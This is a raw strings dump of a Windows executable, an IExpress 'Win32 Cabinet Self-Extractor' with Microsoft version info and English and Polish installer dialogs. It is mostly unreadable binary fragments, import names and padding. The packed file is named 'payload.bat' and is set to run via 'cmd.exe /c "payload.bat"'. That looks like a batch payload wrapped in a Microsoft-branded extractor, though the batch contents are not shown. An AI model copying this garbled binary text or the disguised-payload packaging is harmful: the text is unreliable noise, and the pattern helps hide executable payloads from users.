!This program cannot be run in DOS mode.
IkRichd
`.rdata
@.data
.pdata
@.rsrc
@.reloc
q0R^G'
p0R^G'
q0R^G'
u*9Q<|%
LcA<E3
H3E H3E
UAUAVH
H!|$0H
H!|$ E3
uY!D$(E3
UVWATAUAVAWH
t"D8!H
tlE8&tgL
A_A^A]A\_^]
USVWATAUAVAWH
HA_A^A]A\_^[]
@8+tjH
UVWATAVH
A^A\_^]
u#!D$(E3
L$ SVWH
u*!D$(E3
u4!D$(E3
WATAUAVAWH
A_A^A]A\_
UVWATAUAVAWH
pA_A^A]A\_^]
x UATAUAVAWH
HcD$0L
teA8 t`3
A_A^A]A\]
u0!D$(E3
u=!D$(E3
u>!D$(E3
q0R^G'
!\$(E3
u !D$(E3
u !D$(E3
l$ VWAVH
` UAVAWH
u.!D$(E3
u9!D$(E3
l$ VWAVH
x UATAUAVAWH
A_A^A]A\]
uA!D$(E3
@USVWATAVAWH
A_A^A\_^[]
|$ UATAUAVAWH
<"u.A8F
<AtG<Dt:<It-<Nt <Pt
<Et <Gt
A_A^A]A\]
UATAUAVAWH
A_A^A]A\]
9D$Pu5
x AUAVAWH
@A_A^A]
q1[8''Y
8\u6H;
advapi32.dll
CheckTokenMembership
Reboot
AdvancedINF
Version
setupx.dll
setupapi.dll
SeShutdownPrivilege
advpack.dll
DelNodeRunDLL32
wininit.ini
Software\Microsoft\Windows\CurrentVersion\App Paths
HeapSetInformation
EXTRACTOPT
INSTANCECHECK
VERCHECK
DecryptFileA
LICENSE
<None>
REBOOT
SHOWWINDOW
ADMQCMD
USRQCMD
RUNPROGRAM
POSTRUNPROGRAM
FINISHMSG
LoadString() Error. Could not load string resource.
CABINET
FILESIZES
PACKINSTSPACE
UPROMPT
IXP%03d.TMP
msdownld.tmp
TMP4351$.TMP
RegServer
UPDFILE%lu
Control Panel\Desktop\ResourceLocale
wextract.pdb
.text$mn
.text$mn$00
.text$x
.rdata$brc
.idata$5
.00cfg
.CRT$XCA
.CRT$XCAA
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIY
.CRT$XIZ
.gehcont
.gfids
.rdata
.rdata$voltmd
.rdata$zzzdbg
.xdata
.idata$2
.idata$3
.idata$4
.idata$6
.pdata
.rsrc$01
.rsrc$02
GetTokenInformation
RegDeleteValueA
RegOpenKeyExA
RegQueryInfoKeyA
FreeSid
OpenProcessToken
RegSetValueExA
RegCreateKeyExA
LookupPrivilegeValueA
AllocateAndInitializeSid
RegQueryValueExA
EqualSid
RegCloseKey
AdjustTokenPrivileges
ADVAPI32.dll
GetShortPathNameA
GetModuleFileNameA
FindFirstFileA
GetCurrentProcess
FindNextFileA
ExpandEnvironmentStringsA
FindClose
LocalAlloc
lstrcmpA
_lopen
_llseek
CompareStringA
GetLastError
GetFileAttributesA
GetSystemDirectoryA
LoadLibraryA
DeleteFileA
GlobalAlloc
GlobalFree
CloseHandle
WritePrivateProfileStringA
IsDBCSLeadByte
GetWindowsDirectoryA
SetFileAttributesA
GetProcAddress
GlobalLock
LocalFree
RemoveDirectoryA
FreeLibrary
_lclose
CreateDirectoryA
GetPrivateProfileIntA
GetPrivateProfileStringA
GlobalUnlock
ReadFile
SizeofResource
WriteFile
GetDriveTypeA
LoadLibraryExA
SetFileTime
SetFilePointer
FindResourceA
CreateMutexA
GetVolumeInformationA
WaitForSingleObject
GetCurrentDirectoryA
FreeResource
GetVersion
SetCurrentDirectoryA
GetTempPathA
LocalFileTimeToFileTime
CreateFileA
SetEvent
TerminateThread
GetVersionExA
LockResource
GetSystemInfo
CreateThread
ResetEvent
LoadResource
ExitProcess
GetModuleHandleW
CreateProcessA
FormatMessageA
GetTempFileNameA
DosDateTimeToFileTime
CreateEventA
GetExitCodeProcess
KERNEL32.dll
GetDeviceCaps
GDI32.dll
GetDesktopWindow
CharUpperA
SetDlgItemTextA
ExitWindowsEx
MessageBeep
EndDialog
CharPrevA
LoadStringA
CharNextA
EnableWindow
ReleaseDC
SetForegroundWindow
SetWindowLongPtrA
GetWindowLongPtrA
PeekMessageA
GetDlgItem
SendMessageA
SendDlgItemMessageA
MessageBoxA
SetWindowTextA
CallWindowProcA
GetDlgItemTextA
DialogBoxIndirectParamA
ShowWindow
MsgWaitForMultipleObjects
SetWindowPos
GetWindowRect
DispatchMessageA
USER32.dll
_vsnprintf
memcpy_s
_XcptFilter
_amsg_exit
__getmainargs
__set_app_type
_cexit
_ismbblead
__setusermatherr
_initterm
__C_specific_handler
_acmdln
_fmode
_commode
msvcrt.dll
?terminate@@YAXXZ
COMCTL32.dll
Cabinet.dll
GetFileVersionInfoSizeA
VerQueryValueA
GetFileVersionInfoA
VERSION.dll
GetStartupInfoW
RtlCaptureContext
RtlLookupFunctionEntry
RtlVirtualUnwind
UnhandledExceptionFilter
SetUnhandledExceptionFilter
TerminateProcess
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
GetTickCount
EnumResourceLanguagesA
GetDiskFreeSpaceA
MulDiv
GetSystemMetrics
memcpy
memset
System\CurrentControlSet\Control\Session Manager
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"
Software\Microsoft\Windows\CurrentVersion\RunOnce
wextract_cleanup%d
rundll32.exe %s,InstallHinfSection %s 128 %s
PendingFileRenameOperations
DefaultInstall
Command.com /c %s
%s /D:%s
System\CurrentControlSet\Control\Session Manager\FileRenameOperations
SHELL32.DLL
DoInfInstall
SHBrowseForFolder
SHGetPathFromIDList
*MEMCAB
AVI LIST
hdrlavih8
strlstrh8
vidsRLE
LISTv$
movi00dc(
wgwwxx
wwwwwwp
wwwwwwp
\)((Bc
tZXXXj!
kXZt&'pp
\Xt'Qp
IhhI>In
IG>G>h
:>G>G>h
ICGIGn
:>>>H>r
eeRC>:y
RCIeeee
kII=GCR
>~32"*_h
nhII:h
h40.+Il
{{aFIdqx
WPMMMPPUW
WWWUWW
W***lf
****kf
PM/1NJ\
~dD>>CEwC9
8w>68~
~xxwwEwu~
ExxwwEEx
X)$DJF
}:75235:p~
"&&4(A?=
(@KM<"
Q999999999Q
GGGGGGGGGGG
wh:Mzn
{BPMS}
h0`0p@o6kll4
,m$I"=
[H)Yk6x
gF@m1%
(C!xg0
?Ed`n0
6_z0#;
Gx:=,F1
]h]e()I
ij8::f{{
iw;t:=
B/#5/s
xl}QO.
Gg}W_n
(Nh sp
$&Bu^C
VaL_d1PY
n`nT";
78><bp
RCYH($
Bj,*3E
t\gWh$
F'u@&:
GdYNRV
<g0>&o
ZpNbx!
nE&Lh/
PH7TJ)
Mx!]x1
9NZ|QA9
!#hG*I
VLon8:
4mp-LeQ
[|Y 2
|Zg}UUK
Z-Y,fX
b3eSAy
R!Spss
dCJ5@K
GGGXky
aaV<^-
|bdA*0jq
@^@i-"
D,evd2
6X'e7U
@75MU:
cVUI)#j]
M{Zk}Hr-@
f?:88x#
W%y%)JMU
pINJJ<KP[Efk
Y%HRIZH
x4z]*EU
G`Zw-B)p
4K9=9e
T1R;D2]
j[3PC"$
2y T(t
A6@XAY
mma[W[
uUQ45MS#
L&V)eNNN
Y.s0)Q4a
'FtHc1
n@WXl3
TX@'IR
_>99y5I
)%u]Q
8I&DQF
QIDAT{
UUqttt
I\D <,
#)QQD"#
W6Z]#P\
LaFN"M
la:EOu#
c:gazz
? <tyt
gA`0)%UJ
9=D2'O
yyHaOO
P@@sRCC RCC
O??qYIIYVEECRBB
L==^\KKpYHHeUDD2SDD
J<<Q[IIaZIIfXGGKVFF1WII
J<<BYHHSYHHVXHHCXHH8SDD#RCC
H::2UEE:UDD9TEE)SCC"SED
SCC%RBB"QBB
]LLNQBB
aOOx[JJgSCC%QBB
\JJX[IIdZJJQUEE&QBB
ZII?XGGKXGG?TDD0SDD
SCC%QBB
ab`L4K*
ZZ[:443
WFFYO??
eee8AB@
[IIZYHHRVFF;RCC
jjj;FFD
[HH/RBB RBB
ggg=EED
FFF?@>?
[\\?>>=
]^^@JAC
^__AQFJ
cccCIHH
YYYEHGG
TTTI444
WWWILLL
PAMSCF
payload.bat
w1M;K5{3
<None>
P<None>
<None>
cmd.exe /c "payload.bat"
PA<None>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="5.1.0.0"
processorArchitecture="amd64"
name="wextract"
type="win32"/>
<description>IExpress extraction tool</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="amd64"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="asInvoker"
uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!--This Id value indicates the application supports Windows Vista/Server 2008 functionality -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!--This Id value indicates the application supports Windows 7/Server 2008 R2 functionality-->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!--This Id value indicates the application supports Windows 8/Server 2012 functionality-->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- This Id value indicates the application supports Windows Blue/Server 2012 R2 functionality-->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- This Id value indicates the application supports Windows Threshold functionality-->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
</assembly>
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDI
Kernel32.dll
ADMQCMD
CABINET
EXTRACTOPT
FILESIZES
FINISHMSG
LICENSE
PACKINSTSPACE
POSTRUNPROGRAM
REBOOT
RUNPROGRAM
SHOWWINDOW
UPROMPT
USRQCMD
License
MS Shell Dlg
Please read the following license agreement. Press the PAGE DOWN key to see the rest of the agreement.
Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement.
Licencja
MS Shell Dlg
Przeczytaj nast
licencyjn
. Naci
nij klawisz Page Down, aby zobaczy
pozosta
Umowy licencyjnej.
Czy akceptujesz wszystkie warunki Umowy licencyjnej? Je
li wybierzesz przycisk Nie, instalacja zostanie przerwana. Aby zainstalowa
program, musisz zaakceptowa
licencyjn
Temporary folder
MS Shell Dlg
Please type the location where you want to place the extracted files.
&Browse...
Cancel
Folder tymczasowy
MS Shell Dlg
Wpisz lokalizacj
, w kt
rej chcesz umie
wyodr
bnione pliki.
&Przegl
daj...
Anuluj
Overwrite file
MS Shell Dlg
Do you want to overwrite the file:
Yes To &All
powanie pliku
MS Shell Dlg
Czy chcesz zast
ten plik:
Tak na &wszystkie
Extract
MS Shell Dlg
&Cancel
Extracting
Initializing... Please wait...
msctls_progress32
Generic1
SysAnimate32
bnianie
MS Shell Dlg
&Anuluj
Trwa wyodr
bnianie
Trwa inicjowanie... Czekaj...
msctls_progress32
Generic1
SysAnimate32
Extract
MS Shell Dlg
&Cancel
Extracting
Initializing... Please wait...
bnianie
MS Shell Dlg
&Anuluj
Trwa wyodr
bnianie
Trwa inicjowanie... Czekaj...
Warning
MS Shell Dlg
&Continue
Do you want to continue?
Ostrze
MS Shell Dlg
&Kontynuuj
Czy chcesz kontynuowa
4Please select a folder to store the extracted files.
5Wybierz folder do zachowywania wyodr
bnionych plik
CFailed to get disk space information from: %s.
System Message: %s.&A required resource cannot be located. Are you sure you want to cancel?
8Unable to retrieve operating system version information.!Memory allocation request failed.
#Unable to create extraction thread.
Cabinet is not valid.
Filetable full.%Can not change to destination folder.
Setup could not find a drive with %s KB free disk space to install the program. Please free up some space first and press RETRY or press CANCEL to exit setup.KThat folder is invalid. Please make sure the folder exists and is writable.IYou must specify a folder with fully qualified pathname or choose Cancel.WNie mo
na uzyska
informacji o ilo
ci miejsca na dysku z: %s.
Komunikat systemowy: %s.'Nie mo
na zlokalizowa
danego zasobu.&Czy na pewno chcesz anulowa
operacj
;Nie mo
na uzyska
informacji o wersji systemu operacyjnego.&Nie mo
na przydzieli
danej pami
'Nie mo
na utworzy
tku wyodr
bniania.
!Plik typu cab jest nieprawid
Tablica plik
w jest pe
na.%Nie mo
na zmieni
na folder docelowy.
Instalator nie m
odnale
dysku, kt
ry mia
by %s KB do zainstalowania programu. Zwolnij najpierw wi
cej miejsca i naci
nij przycisk PON
W lub przycisk ANULUJ, aby zako
instalacj
.ZTen folder jest nieprawid
owy. Upewnij si
e folder istnieje i
na w nim zapisywa
.LMusisz poda
folder z w pe
ni okre
lub wybierz przycisk Anuluj.
!Could not update folder edit box.5Could not load functions required for browser dialog.7Could not load Shell32.dll required for browser dialog.
(Error creating process <%s>. Reason: %s1The cluster size in this system is not supported.,A required resource appears to be corrupted.QWindows 95 or Windows NT 4.0 Beta 2 or greater is required for this installation.
Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install
Could not create folder '%s'
To install this program, you need %s KB disk space on drive %s. It is recommended that you free up the required disk space before you continue.
Do you still want to continue?
+Nie mo
na aktualizowa
pola edycji folderu.HNie mo
funkcji wymaganych do okna dialogowego przegl
darki.RNie mo
pliku Shell32.dll wymaganego do okna dialogowego przegl
darki.
d podczas tworzenia projektu <%s>. Przyczyna: %s4Rozmiar klastra w tym systemie nie jest obs
ugiwany. Wymagany zas
b jest uszkodzony.XDla tej instalacji wymagany jest system Windows 95 lub Windows NT 4.0 Beta 2 lub nowszy.
d podczas
adowania %s
Operacja GetProcAddress() nie powiod
dla funkcji
liwa przyczyna: zosta
yta nieprawid
owa wersja pliku advpack.dll.<Do instalacji jest wymagany system Windows 95 lub Windows NT Nie mo
na utworzy
folderu
Aby zainstalowa
ten program, potrzebujesz %s KB wolnego miejsca na dysku %s. Zaleca si
zwolnienie wymaganego miejsca na dysku przed kontynuacj
Czy chcesz nadal kontynuowa
Error retrieving Windows folder
$NT Shutdown: OpenProcessToken error.)NT Shutdown: AdjustTokenPrivileges error.!NT Shutdown: ExitWindowsEx error.}Extracting file failed. It is most likely caused by low memory (low disk space for swapping file) or corrupted Cabinet file.aThe setup program could not retrieve the volume information for drive (%s) .
System message: %s.xSetup could not find a drive with %s KB free disk space to install the program. Please free up some space and try again.eThe installation program appears to be damaged or corrupted. Contact the vendor of this application.
d pobierania folderu Windows
-Zamkni
cie systemu NT: B
d OpenProcessToken.2Zamkni
cie systemu NT: B
d AdjustTokenPrivileges.*Zamkni
cie systemu NT: B
d ExitWindowsEx.
Rozpakowanie pliku nie uda
. Prawdopodobnie jest to spowodowane przez brak pami
ci (brak miejsca na dysku na plik wymiany) lub uszkodzenie pliku CAB.\Instalator nie m
pobra
informacji o woluminie dla dysku (%s) .
Komunikat systemowy: %s.
Instalator nie mo
e znale
dysku z %s KB wolnego miejsca do zainstalowania programu. Zwolnij troch
miejsca i spr
buj ponownie.dProgram instalacyjny mo
zniszczony lub uszkodzony. Skontaktuj si
z producentem tej aplikacji.
;Command line option syntax error. Type Command /? for Help.
Command line options:
/Q -- Quiet modes for package,
/T:<full path> -- Specifies temporary working folder,
/C -- Extract files only to the folder when used also with /T.
/C:<Cmd> -- Override Install Command defined by author.
sYou must restart your computer before the new settings will take effect.
Do you want to restart your computer now?
eAnother copy of the '%s' package is already running on your system. Do you want to run another copy?
Could not find the file: %s.
adni opcji wiersza polecenia. Wpisz polecenie /?, aby uzyska
Pomoc .
Opcje polecenia:
/Q -- Ciche tryby pakietu,
/T:<pe
ka> -- Okre
la tymczasowy folder roboczy,
/C -- Rozpakowuje pliki tylko do folderu, gdy u
ywana z opcj
/C:<Cmd> -- Zast
puje polecenie instalacji zdefiniowane przez autora.
{Musisz ponownie uruchomi
komputer, aby nowe ustawienia zosta
y wprowadzone.
Czy chcesz teraz ponownie uruchomi
komputer?
SInna kopia pakietu
a w tym systemie. Czy chcesz uruchomi
Nie mo
na odnale
pliku: %s.
You do not have administrator privileges on this machine. Some installations cannot be completed correctly unless they are run by an administrator.
:The folder '%s' does not exist. Do you want to create it?hAnother copy of the '%s' package is already running on your system. You can only run one copy at a time.OThe '%s' package is not compatible with the version of Windows you are running.SThe '%s' package is not compatible with the version of the file: %s on your system.
Nie masz uprawnie
administratora na tym komputerze. Nie mo
na uko
ci instalacji, dop
ki nie zostanie uruchomiona przez administratora.
1Folder
nie istnieje. Czy chcesz go utworzy
?WInna kopia pakietu
w systemie. Mo
esz uruchamia
tylko po jednej kopii.APakiet
nie jest zgodny z uruchomion
wersj
systemu Windows.:Pakiet
nie jest zgodny z wersj
pliku: %s w systemie.
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
Win32 Cabinet Self-Extractor
FileVersion
11.00.22621.1 (WinBuild.160101.0800)
InternalName
Wextract
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
WEXTRACT.EXE .MUI
ProductName
Internet Explorer
ProductVersion
11.00.22621.1
VarFileInfo
Translation
VS_VERSION_INFO
StringFileInfo
041504B0
CompanyName
Microsoft Corporation
FileDescription
Samorozpakowuj
plik typu .cab Win32
FileVersion
11.00.22621.1 (WinBuild.160101.0800)
InternalName
Wextract
LegalCopyright
Microsoft Corporation. Wszelkie prawa zastrze
OriginalFilename
WEXTRACT.EXE .MUI
ProductName
Internet Explorer
ProductVersion
11.00.22621.1
VarFileInfo
Translation